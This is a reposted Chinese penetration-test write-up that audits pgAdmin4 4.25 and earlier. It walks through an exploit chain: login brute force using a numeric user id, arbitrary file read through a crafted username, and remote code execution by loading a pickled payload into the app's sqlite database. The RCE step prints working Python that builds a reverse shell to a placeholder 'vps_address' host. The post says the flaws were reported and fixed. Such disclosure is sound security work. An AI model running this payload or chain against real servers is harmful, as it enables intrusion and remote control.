|
本帖最后由 gclome 于 2020-11-12 09:33 编辑
原文链接:渗透测试中python审计0day组合拳
前言
在渗透的时候扫了扫全端口,偶遇一个系统pgadmin4,它是一款管理postgresql数据库的web端程序,docker pull 50M+。由于渗透测试爆破的时候发现一些小细节便开始了这次python代码审计,最终发现了RCE。其中包括多个漏洞利用,目前pgadmin4.25及以下都存在这些漏洞,和官方邮件上报漏洞后4.26到最新版漏洞已修复。
渗透入口
接到一个比较棘手的项目基本资产收集后发现没有软柿子捏,就针对了一些非CDN ip做了全端口扫描发现这处5050端口的web资产为pgadmin4,不管他是啥系统,没有验证码干就完了。
一波暴力破解后发现大量302跳转,在刷新页面时Cookie已经可以成功登录系统。
经过判断发现是账号为1密码为123456成功登录系统,但是登录成功后发现用户名是邮箱。这应该是登录验证逻辑方面的缺陷后面代码审计部分再关注,又去下载了官网源码,代码使用框架为flask,python web系统后台也比较难直接获取webshell,索性顺着登录缺陷进行一波代码审计。
代码审计
该项目挂载postgres旗下,当时挖掘还是最新版,上报后目前最新版已修复。https://github.com/postgres/pgadmin4/tree/REL-4_24
一)无需得知email的暴力破解
先来深入了解登录后的账号验证逻辑为什么会产生使用1/2/3这样的序号id作为用户名的情况。
Flask项目,在登录代码函数路由处下断点。
通过跟踪上图函数。
web/pgadmin/authenticate/init.py:48#auth_obj.validate() 最终调用了flask_security第三方库的forms.py中的validate(),我们可以发现self.email.data就是我们接口中输入email的值,继续跟进get_user函数。
get_user参数是用来从数据库中获取该email的用户对象。
我们的标识符”1”被传入get_user函数,当我们传入的email为数字或者UUID将直接使用self.user_model.query.get(1)从数据库获取用户对象并直接返回,这就造成无需匹配邮箱直接匹配数据库主建id导致无需猜解用户名进行后台暴力破解。
也就是说是flask_security的逻辑缺陷导致无需得知email即可爆破,看到github也提出了issues但是官方未解决该问题,如果只使用官方的库进行身份验证就会存在此问题就很离谱。https://github.com/mattupstate/flask-security/issues/862
二) 后台任意文件读取/修改
进了后台总要想办法扩大危害,这里发现了一处任意文件读取也比较有意思。
1) 在新建服务器时发现可以导入SSL证书存在文件管理器功能,点击刷新是可以列当前资源目录下文件并下载。
此时我们抓取数据包将path修改为../../../。
分析列文件接口对应函数getfolder,程序读取用户资源目录。
程序会将用户目录和前端发送的path参数目录传入安全检查函数 Filemanager.check_access_permission:
check_access_permission校验函数的内部会将path参数的值和资源目录组合并使用os.path.abspath函数获取真实路径,最终被还原的真实路径必须要包含资源路径,这样无论我们修改任何跨目录格式最终都不会和原有资源路径匹配造成异常抛出(见变量状态栏中dir和orig_path的差别)。
2) 上一条直接跨目录的思路断了,只能找找其他突破口,这时发现文件上传的暴露的路径中带有用户名,也就是说存储目录为【系统用户目录+当前创建的用户名】的组合。
既然用户名可控,秉着任何参数都存在风险,查看下读取资源目录的函数代码。
程序使用os.path.json方法将源存储目录和username组合形成新的存储目录,看到这个函数基本就稳了。
这里介绍下os.path.json函数存在的问题。os.path.json函数执行逻辑:
1) 只要最后一个参数为”/”开头就会忽略之前所有参数然后返回路径,见下图。
这样我们构造漏洞的思路就来了创建一个新用户(需要管理员权限也就是id=1)username改为”/”,既可以遍历到根目录又可以通过check_access_permission函数的路径比对校验。
3) 又遇到情况了,默认情况下username在添加时并无法修改,尝试绕过限制修改username。
查看web/pgadmin/tools/user_management/init.py:346#update函数发现后端是通过传递表单对象的方式接收参数,后端其实会接收到我们POST发送的username参数然后提交数据库。
前台PUT修改数据包新增username字段即可强制修改用户名。
4) 这下都齐全了,登录创建的账号访问文件管理器接口。
舒服了,访问文件管理接口成功列出根目录。
访问后发现只能遍历无法下载?不存在的一切只是前端校验罢了: 从后端找到遍历文件模式选择接口,只需要将dialog_type的类型修改为storage_dialog即可。
找到下载文件接口读取成功。
三) 替换数据库文件反序列化RCE
寻找RCE的点,这里只是发现了这个方法,应该有更加便捷的点: 思路是找到代码中存在从数据库中取值进行反序列化的操作,此处反序列化原本参数格式要求严格,但是由于pgadmin4默认使用sqlite3,可以直接利用文件管理器下载数据库,修改后再上传达到不损坏原始数据,这样触发该接口即可造成反序列化命令执行。
1)docker下默认数据库为/var/lib/pgadmin/pgadmin4.db,下载sqlite数据库后进行修改然后再上传覆盖源数据库文件。
插入一段反弹shell的python语句,并修改sqlite3数据库。
- import os
- import pickle
- import socket
- import pty
- class exp(object):
- def __reduce__(self):
- a = 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps_address\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"'
- return (os.system,(a,))
- e = exp()
- s = pickle.dumps(e)
- import sqlite3
- # OK, now for the DB part: we make it...:
- db = sqlite3.connect('pgadmin4.db')
- db.execute('UPDATE process set desc = (?) where pid="123"', (s,))
- db.commit()
- db.close()
复制代码
将序列化内容插入desc字段,然后通过上传接口替换数据库文件。
再通过GET请求/ misc/bgprocess/触发反序列化操作,程序会读取process.desc字段的内容导致触发命令执行。
总结
- Flask_security原生验证身份函数缺陷。
- os.path.join拼接存在特性,编程容易犯错。
- python由于自身语言灵活性,常常会出现前后端校验不一致问题。因为后端喜欢使用setattr直接将表单数据赋值到某个对象插入数据库。
渗透中的黑盒测试往往更容易发现能白盒审计的功能点,白盒审计下留意系统函数,第三方框架的特性多深入调试下源码。
|
|